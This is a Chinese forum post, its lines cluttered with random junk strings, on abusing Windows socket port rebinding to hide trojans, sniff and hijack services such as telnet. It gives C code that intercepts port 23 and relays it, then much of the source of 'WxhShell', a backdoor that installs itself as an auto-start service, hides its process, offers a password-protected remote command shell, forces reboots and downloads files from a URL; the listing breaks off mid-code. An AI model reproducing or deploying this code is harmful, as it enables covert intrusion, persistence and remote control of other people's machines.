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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]jVSsSv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zrU$SWU  
tOM3Gs~o6z  
  saddr.sin_family = AF_INET; 4@]xn  
#* gU[9U~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _'hCUXeY'  
ab aQJ|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DV[ Jbl:)  
{QS@Ugf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W B*`zCM  
5uV"g5?w  
  这意味着什么?意味着可以进行如下的攻击: vvsNWA  
6G<Hi"I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Cre0e$ a  
RpXs3=9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nn)`eR&  
#1't"R+3M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cCh5Jl@Z  
an=+6lIl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7#9'2dI  
380->  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 # 5f|1O  
sL7`=a.&T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BY4  R@)  
]tQDk4&i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  6I cM:x  
V1`5D7Z  
  #include # HM\ a  
  #include c_z/At;4  
  #include &Ev]x2YC  
  #include    Vr-3M+l=O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^wO_b'@v  
  int main() UJz4>JF  
  { 1&% d  
  WORD wVersionRequested; Y!a+#N!  
  DWORD ret; eY 4`k  
  WSADATA wsaData; SfZ=%6b7  
  BOOL val; 1>@]@ST[:  
  SOCKADDR_IN saddr; 38U5^`  
  SOCKADDR_IN scaddr; 2u~c/JryN  
  int err; [  t  
  SOCKET s; |.8d,!5w}  
  SOCKET sc; kg?T$}O  
  int caddsize; }r~v,KDb  
  HANDLE mt; ll(e,9.D  
  DWORD tid;   O& 3r*vd  
  wVersionRequested = MAKEWORD( 2, 2 ); wI@zPVY_i  
  err = WSAStartup( wVersionRequested, &wsaData ); B15O,sL&W  
  if ( err != 0 ) { W. J:.|kt  
  printf("error!WSAStartup failed!\n"); %89" A'g  
  return -1; P )t]bS  
  } $&=4.7Yt  
  saddr.sin_family = AF_INET; 8sR  
   B;z>Dd,Y_x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #0?"J)  
Zr.\`mG4f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vNC$f(cQ  
  saddr.sin_port = htons(23); h{W$ fZc<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y|m_qB^_  
  { qD(fYOX{C  
  printf("error!socket failed!\n"); zj9bSDVL(  
  return -1; I3G*+6V  
  } q'%[[<  
  val = TRUE; .Yu<%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -[zdX}x.:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c YM CfP  
  { '<?v:pb9  
  printf("error!setsockopt failed!\n"); ]^*_F  
  return -1; 0NCOz(L/  
  } ot@|blVC8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3@PUg(M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B?$01?9V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yD3bl%uZ  
;}n9y ci#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -uv 9(r\P  
  { Sl. KLc@@  
  ret=GetLastError(); Vq3]7l  
  printf("error!bind failed!\n"); 60hNCVq%  
  return -1; Q? <-`7  
  } ?qf:_G  
  listen(s,2); ch0oFc$  
  while(1) }[>RxHd  
  { 1P[I}GW#  
  caddsize = sizeof(scaddr); VM-qVd-  
  //接受连接请求 .N5h V3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s6uF5]M;2  
  if(sc!=INVALID_SOCKET) u Q[vgNe*m  
  { wO^$!zB W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i7S>RB  
  if(mt==NULL) :LZ-da"QR  
  { saGRP}7?  
  printf("Thread Creat Failed!\n"); ( oQ'4,F  
  break; N{1.g S  
  } 0kU3my]  
  } $i,6B9  
  CloseHandle(mt); DO7- =74=  
  } G0I~&?nDa  
  closesocket(s); r/mA2  
  WSACleanup(); a&$Zpf!!  
  return 0; 5nMkd/  
  }   |MTpU@`p5  
  DWORD WINAPI ClientThread(LPVOID lpParam) ruZYehu1W  
  { =7 Jy  
  SOCKET ss = (SOCKET)lpParam; DAjG *K{  
  SOCKET sc; =oo[ Eyr  
  unsigned char buf[4096]; $R A4U<  
  SOCKADDR_IN saddr; h]kn%?fpmB  
  long num; _7Xd|\Zc  
  DWORD val; z $9@j2  
  DWORD ret; rnnX|}J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =d go!k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q^$ghZ6V  
  saddr.sin_family = AF_INET; d{QMST2&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &_"ORqn&  
  saddr.sin_port = htons(23); SX1X< 9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;\<""Yj@l  
  { \p5|}<Sr)  
  printf("error!socket failed!\n"); ^~ Ekg:`  
  return -1; gW%pM{PW  
  } d>lt  
  val = 100; = E&b=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zWy ,Om8P  
  { ?r{TOj n  
  ret = GetLastError(); 4^0d)+Ff  
  return -1; w+t#Yb\7  
  } c:=7lI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $T"h";M)s  
  { S:/{  
  ret = GetLastError(); `+roQX.p  
  return -1; C1h#x'k  
  } Of-C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Gx.P ]O3  
  { O4m(Er@a  
  printf("error!socket connect failed!\n"); L/Hv4={  
  closesocket(sc); _,DO~L  
  closesocket(ss); gzVtxDh  
  return -1; S4L-/<s[*  
  } 1)$%Jr  
  while(1) Kb^>X{  
  { M0RRmW@f.a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d2RnQA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t:\l&R&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A/!<kp{S  
  num = recv(ss,buf,4096,0); p`d XqW  
  if(num>0) 0z<H(|  
  send(sc,buf,num,0); `-4'/~G  
  else if(num==0) 9Hu d|n  
  break; `q%U{IR  
  num = recv(sc,buf,4096,0); q<n[.u1@  
  if(num>0) a*D,*C5}  
  send(ss,buf,num,0); v9u<F6  
  else if(num==0) |)9thIQF  
  break; !6M Bxg>  
  } ar Q)%W  
  closesocket(ss); >L^xlm%7o  
  closesocket(sc); '0Lov]L  
  return 0 ; nt=x]wEC  
  } Vr 8:nP:  
M~als3  
RoX &+~  
========================================================== jk )Vb  
3S5^ `Ag#  
下边附上一个代码,,WXhSHELL qB:AkMd&  
tmp6hB  
========================================================== bMsECA&  
a.?v*U@z@#  
#include "stdafx.h" ~F;CE"3A  
$`pd|K`  
#include <stdio.h> =ai2z2z  
#include <string.h> Zb."*zL  
#include <windows.h> U 2bzUxK  
#include <winsock2.h> .l \r9I(  
#include <winsvc.h> $ADPV,*gG  
#include <urlmon.h> {=3B)+N  
(%bE~Q2P*<  
#pragma comment (lib, "Ws2_32.lib") |k6Ox*  
#pragma comment (lib, "urlmon.lib") Axlm<3<wf"  
IK'F{QPH  
#define MAX_USER   100 // 最大客户端连接数 b vRB  
#define BUF_SOCK   200 // sock buffer cJ. 7Mt  
#define KEY_BUFF   255 // 输入 buffer lkb2?2\+  
fYB*6Xb,w  
#define REBOOT     0   // 重启 .$Y? W<  
#define SHUTDOWN   1   // 关机 oE1M/*myS  
34z+INkX  
#define DEF_PORT   5000 // 监听端口 X]!D;7^  
i E9\_MA  
#define REG_LEN     16   // 注册表键长度 ]KWK}Zyi  
#define SVC_LEN     80   // NT服务名长度 /Pk:4,  
ys%zlbj[  
// 从dll定义API !4t`Hv?'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <#y*h8IZ@t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wX0l?xdI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hk_g2g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oSY7IIf%L  
-(9O6)Rs$  
// wxhshell配置信息 X'x3esw w  
struct WSCFG {  D,Lp|V  
  int ws_port;         // 监听端口 \,R!S/R#  
  char ws_passstr[REG_LEN]; // 口令 MU1E_"Z)  
  int ws_autoins;       // 安装标记, 1=yes 0=no F;P5D<  
  char ws_regname[REG_LEN]; // 注册表键名 !" E-\cc'  
  char ws_svcname[REG_LEN]; // 服务名 (9]6bd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zT7"VbP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P$ucL~r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O#EqG.L5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  <B )   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :3^dF}>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p x#suy  
W pN.]x  
}; 1[-vD=  
9 Kbw GmSU  
// default Wxhshell configuration Lc]1$  
struct WSCFG wscfg={DEF_PORT, 2JZdw  
    "xuhuanlingzhe", g*y/j]  
    1, z]=8eV\  
    "Wxhshell", "Zcu[2,  
    "Wxhshell", 1`JB)9P  
            "WxhShell Service", 3+(z_!Qh  
    "Wrsky Windows CmdShell Service", <7'&1= %r  
    "Please Input Your Password: ", X?/Lz;,&  
  1, xQU"A2{}>  
  "http://www.wrsky.com/wxhshell.exe", 3z3_7XI  
  "Wxhshell.exe" c<4F4k7  
    };  ?Vc0)  
JoJukoy}F  
// 消息定义模块 g1{/ 5{XI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?#BV+#(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \|%E%Yc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OCNPi4  
char *msg_ws_ext="\n\rExit."; =K(JqSw+M  
char *msg_ws_end="\n\rQuit."; fx)KNm8Lx  
char *msg_ws_boot="\n\rReboot..."; I\zemW!  
char *msg_ws_poff="\n\rShutdown..."; ZzcPiTSO  
char *msg_ws_down="\n\rSave to "; V_"f|[1  
AnMV <  
char *msg_ws_err="\n\rErr!"; dZ]Rqr _!  
char *msg_ws_ok="\n\rOK!"; %dW%o{  
,mKObMu  
char ExeFile[MAX_PATH]; "3}<8 c  
int nUser = 0; TH4\HY9qa?  
HANDLE handles[MAX_USER]; -V5w]F'  
int OsIsNt; 68e[:wf  
[T^?Q%h  
SERVICE_STATUS       serviceStatus; YQd:M%$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wL3,g2-L  
$a(`ve|  
// 函数声明 bd== +   
int Install(void); >c~RI7uu  
int Uninstall(void); m`}{V5;  
int DownloadFile(char *sURL, SOCKET wsh); IQnIaZ  
int Boot(int flag); z9DcnAs  
void HideProc(void); VagT_D  
int GetOsVer(void); 7-* =|gl+  
int Wxhshell(SOCKET wsl); Qxa{UQh}9  
void TalkWithClient(void *cs); |V|+lx'sc  
int CmdShell(SOCKET sock); ~L{l+jK$p  
int StartFromService(void); q \O Ou  
int StartWxhshell(LPSTR lpCmdLine); Ri)uq\E/#  
8-M e.2K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ` A)"%~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vn|1v4U!  
41V e}%  
// 数据结构和表定义 , ZFE(  
SERVICE_TABLE_ENTRY DispatchTable[] = i9A~<  
{ f.6~x$:)`E  
{wscfg.ws_svcname, NTServiceMain}, `u XQ z7  
{NULL, NULL} f p[,C1U  
}; "G?Yrh  
_}gtcyx  
// 自我安装 u:dx;*  
int Install(void) )rm4cW_  
{ :/N+;- 18  
  char svExeFile[MAX_PATH]; EWj gI_-  
  HKEY key; ig!7BxM)<h  
  strcpy(svExeFile,ExeFile); /+|#^:@  
(zcLx;N  
// 如果是win9x系统,修改注册表设为自启动 ae+*=,  
if(!OsIsNt) { ",Cr,;]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3tAU?sV!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j/!H$0PN  
  RegCloseKey(key); q3P+9/6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (u1m]WYL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); & E}mX]t  
  RegCloseKey(key); 6'-As= iw  
  return 0; =O$M_1lp  
    } ~O6\6$3b5E  
  } d+fSo SjX8  
} g(4bBa9y  
else { t18$x "\4k  
^Q}eatEn  
// 如果是NT以上系统,安装为系统服务 PBjmGwg7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !|Q5Zi;aX7  
if (schSCManager!=0) +9;2xya2  
{ )Kd%\PP  
  SC_HANDLE schService = CreateService vX|UgK?2^  
  ( jeUUa-zR3  
  schSCManager, F>hZ{   
  wscfg.ws_svcname, #FxPj-3(ix  
  wscfg.ws_svcdisp, ]/X(V|t  
  SERVICE_ALL_ACCESS, w n|]{Ww35  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2{|$T2?e  
  SERVICE_AUTO_START, rf &M!d}!  
  SERVICE_ERROR_NORMAL, |I;$M;'r&  
  svExeFile, gb|Q%LS9R  
  NULL, /iaf ^ >  
  NULL, PJ4(}a  
  NULL, }iB|sl2J  
  NULL, ;]2s,za)qs  
  NULL !D^c3d  
  ); sBX-X$*N  
  if (schService!=0) i]{1^pKq  
  { k(VB+k"3  
  CloseServiceHandle(schService); Ta=s:trP  
  CloseServiceHandle(schSCManager); zmuMWT;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q'[}9e`Q  
  strcat(svExeFile,wscfg.ws_svcname); R\3VB NX.g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5*%#o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k;W@LfP  
  RegCloseKey(key); PUJ2`iP1^3  
  return 0; pmvT$;7I  
    } B5%n(,Lx  
  } )j l 8!O7  
  CloseServiceHandle(schSCManager); q/9H..6  
} ]  ]U<UJ  
} ZFm`UXS  
! |waK~jK  
return 1; ;h=*!7:  
} z+}QZ >  
]va>ex$d  
// 自我卸载 D B526O* [  
int Uninstall(void) +gd2|`#  
{ {]*x*aa\  
  HKEY key; f>o,N{|  
O4 3YY2  
if(!OsIsNt) { 6DTTV66  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8F(h*e_?  
  RegDeleteValue(key,wscfg.ws_regname); 0-Y:v(|.  
  RegCloseKey(key); P;[OWSR[d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /PBaIoJE  
  RegDeleteValue(key,wscfg.ws_regname); 4BYE1fUzd  
  RegCloseKey(key); Gl %3XdU  
  return 0; Di_2Plo)4  
  } moj ]j`P5a  
} J&/lx${  
} gJiK+&8I  
else { b+-f.!j  
Lf([dE1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hf/2vt m  
if (schSCManager!=0) 5RH2"*8T  
{ Pz#7h*;cw.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =o}"jVE  
  if (schService!=0) sbkQ71T:  
  { z{"2S="  
  if(DeleteService(schService)!=0) { V=He_9B  
  CloseServiceHandle(schService); EFuvp8^y  
  CloseServiceHandle(schSCManager); ev0oO+u  
  return 0; v[@c*wo  
  } FsB^CxVg  
  CloseServiceHandle(schService); UtB6V)YI  
  } s5.AW8X=?*  
  CloseServiceHandle(schSCManager); t>GfM  
} U-k+9f 0  
} 'bGX-C  
\;-fi.Hrf$  
return 1; 9 3+"D`  
} 4nH*Ui!T  
C 3hv*  
// 从指定url下载文件 RCTQhTy=  
int DownloadFile(char *sURL, SOCKET wsh) s]T""-He  
{ G2LK]  
  HRESULT hr; KfBTL!0#  
char seps[]= "/"; &1l=X]%  
char *token; >&g}7d%  
char *file; IW8+_#d  
char myURL[MAX_PATH]; ANIz, LS  
char myFILE[MAX_PATH]; wiaX&-c]8  
/( .6bv  
strcpy(myURL,sURL); lf>*Y.!@me  
  token=strtok(myURL,seps); Wk:hFHs3  
  while(token!=NULL) >e2<!#er|  
  { <R%;~){  
    file=token; P o jmC  
  token=strtok(NULL,seps); i |{Dd%4vK  
  } _A<u#.yd  
I -Xlx<  
GetCurrentDirectory(MAX_PATH,myFILE); 48|s$K^  
strcat(myFILE, "\\"); dC=)^(  
strcat(myFILE, file); 2f U$J>Y  
  send(wsh,myFILE,strlen(myFILE),0); Tu{h<Zy  
send(wsh,"...",3,0); G*S|KH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -~eJn'W  
  if(hr==S_OK) =. y*_Ja  
return 0; 22kpl)vbU  
else bifS 2>c  
return 1; #`GY}-hL!  
2L AYDaS  
} T081G`li  
[Q\GxX.  
// 系统电源模块 iv phlw  
int Boot(int flag) :16P.z1L  
{ '(f/~"9B  
  HANDLE hToken; :Rs^0F8)c  
  TOKEN_PRIVILEGES tkp; <Sz52Suh>  
=9kN_:-  
  if(OsIsNt) { 0y<wvLv2C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T&86A\D\z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @&D?e:|!U  
    tkp.PrivilegeCount = 1; [^8n0{JiN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &V|>dLT>A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7_2kDDW0  
if(flag==REBOOT) { ^kS T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8/z3=O&  
  return 0; =A Vg Iv  
} 9h/>QLx  
else { GE>[*zN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b3wM;jv  
  return 0; nhG J  
} OMwsbp&  
  } nm7;ieMfr  
  else { = 8gHS[  
if(flag==REBOOT) { _(m't n>   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XC7%vDIt  
  return 0; nC {K$  
} TO2c"7td  
else { [ofqGwpDG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 65ly2gl  
  return 0; qS&%!  
} i&8FBV-  
} T32BnmB{  
`nUO l  
return 1; @\&m+;6  
} 3:%QB9qc]'  
$,xnU.n  
// win9x进程隐藏模块 +.y .Mp  
void HideProc(void) G8W#<1LE  
{ %AOIKK5  
b| SE<\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KYJjwXT28W  
  if ( hKernel != NULL ) Y^%T}yTtq  
  { `>DP,D)w(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *&AfR8x_z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W4;m H}#0  
    FreeLibrary(hKernel); t6c<kIQ:-O  
  } ^$%Z! uz  
W)(^m},*8D  
return; /yLZ/<WN  
} B= keBO](@  
e&eW|E  
// 获取操作系统版本 Y-ux7F{=z  
int GetOsVer(void) m8623D B"  
{ tweY'x.{  
  OSVERSIONINFO winfo; UN"(5a8.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m~Ld~I"  
  GetVersionEx(&winfo); EL3|u64GO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .^) UO  
  return 1; .I3?7  
  else , n !vsIN  
  return 0; 5q@LxDy,b  
} D .vw8H3  
\b[9ebME  
// 客户端句柄模块 {;2i.m1  
int Wxhshell(SOCKET wsl) .s/fhk,  
{ ]0D}T'wM  
  SOCKET wsh; %7Kooq(i  
  struct sockaddr_in client; 7z_;t9Y  
  DWORD myID; ck#"*] ,  
UDf9FnG}L  
  while(nUser<MAX_USER) |L_wX:d`9  
{ eMK+X \  
  int nSize=sizeof(client); Ou'?]{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >Ps7I  
  if(wsh==INVALID_SOCKET) return 1; 0"pVT%b  
7dihVvL $  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W{XkV Ke1a  
if(handles[nUser]==0) s!/TU{8J  
  closesocket(wsh); 4 ;Qlu  
else I PE}gp  
  nUser++; ]L2Oz  
  } "S~_[/q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~Lfcg*  
a )*6gf<5  
  return 0; xChI ,~i  
} R)!`JKeO/  
x4Rk<Th"o  
// 关闭 socket m9M FwfZ  
void CloseIt(SOCKET wsh) 3E} An%  
{ U7&x rif  
closesocket(wsh); mN0=i(H<  
nUser--; OLq 0V3m  
ExitThread(0); lfk9+)  
} l#3($QV,  
}:iBx  
// 客户端请求句柄 5IVksg  
void TalkWithClient(void *cs) Vu0 KtG9  
{ ~Y5l+EF#  
uK*Nu^  
  SOCKET wsh=(SOCKET)cs; cu#e38M&eE  
  char pwd[SVC_LEN]; '(@YK4_M  
  char cmd[KEY_BUFF]; ScnY3&rc  
char chr[1]; .M|>u_<Qd  
int i,j; Y5A~E#zw  
bggusK<  
  while (nUser < MAX_USER) { {}e^eJ  
pL oy  
if(wscfg.ws_passstr) { !7lj>BA>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (VHND%7P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t> Q{yw  
  //ZeroMemory(pwd,KEY_BUFF); lpQP"%q  
      i=0; Dxx;v.$  
  while(i<SVC_LEN) { Qb^q+C)o]  
' |K.k6  
  // 设置超时 &R$Q\ ,  
  fd_set FdRead; u7]<=*V]  
  struct timeval TimeOut; jThbeY[  
  FD_ZERO(&FdRead); sn\;bq  
  FD_SET(wsh,&FdRead); |:iEfi]j  
  TimeOut.tv_sec=8; I{.HO<$7D}  
  TimeOut.tv_usec=0; -R+zeu(e'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QrjDF>   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); * UcjQ  
B< ;==|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :F|\Ij0T  
  pwd=chr[0]; )y50Mb0+  
  if(chr[0]==0xd || chr[0]==0xa) { 3l:QeZ  
  pwd=0; 4!%]fg}Um  
  break; 3l:XhLOj  
  } g,lY ut  
  i++; XSD%t8<LO  
    } N_'+B+U?  
TL-i=\{L:d  
  // 如果是非法用户,关闭 socket (9.yOc4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @@pq 'iRn  
} k&Jo"[i&WO  
`"<2)yq?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?z.Isvn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !'c| N9  
W7e4pR?w  
while(1) { w!,QxrOV~  
JieU9lA^&B  
  ZeroMemory(cmd,KEY_BUFF); PZ]5Hf1"  
?MZ:_'2p  
      // 自动支持客户端 telnet标准   edN8-P(  
  j=0; z[ #6-T &  
  while(j<KEY_BUFF) { y_%&]/%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !LSs9_w  
  cmd[j]=chr[0]; RK)l8c}  
  if(chr[0]==0xa || chr[0]==0xd) { f)gGH'yOQ  
  cmd[j]=0; /RF%1!M K  
  break; Fzs>J&sY&  
  } ,V2#iY.%}N  
  j++; "Z9^}  
    } @,6ST0xT (  
`QLowna  
  // 下载文件 a-Y6w5  
  if(strstr(cmd,"http://")) { +FBi5h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'Kd7l}e!  
  if(DownloadFile(cmd,wsh)) 24|<<Xn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sA2o2~AmM  
  else $~hdm$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f(.6|mPp  
  } G-8n  
  else { TAAR'Jz S  
&Q+]t"OA!  
    switch(cmd[0]) { (\uA AW"  
  W :>J864!  
  // 帮助 P=pY8X:  
  case '?': { e5qvyUJM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); scmto cm  
    break; g`{Dxb,t  
  } g1dmkX  
  // 安装 w*2^/zh  
  case 'i': { JchA=n  
    if(Install()) SNxz*`@4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9<~,n1b>x  
    else QS%,7'EG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e mC\i  
    break;  3:"AFV  
    } .Wh6(LDY(  
  // 卸载 6i^0T  
  case 'r': { Ol_/uy1r[  
    if(Uninstall()) K wQXA'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P69>gBZYD  
    else 8}J(c=4Gk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z.{HD9TD  
    break; n<+~ zQ  
    } xz="|HD);  
  // 显示 wxhshell 所在路径 I(y`)$}  
  case 'p': { >Ziy1Dp  
    char svExeFile[MAX_PATH]; {MA@ A5  
    strcpy(svExeFile,"\n\r"); -^y1iN'D  
      strcat(svExeFile,ExeFile); u`nt\OF  
        send(wsh,svExeFile,strlen(svExeFile),0); bQ i<0|S  
    break; #<D@3ScC  
    } 37,L**Dgs  
  // 重启 I"~xDa!  
  case 'b': { n JW_a&'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yr (g~MQ  
    if(Boot(REBOOT)) b^+Fs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]9dx3<2_I  
    else { '[ @F%  
    closesocket(wsh); .$n$%|"H-  
    ExitThread(0); p`pg5R  
    } cYE./1D a  
    break; q.U*X5  
    } nmTm(?yE  
  // 关机 5F% h>tqh  
  case 'd': { ~r{\WZ.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Sa( yjF1  
    if(Boot(SHUTDOWN)) BYkVg2D(  
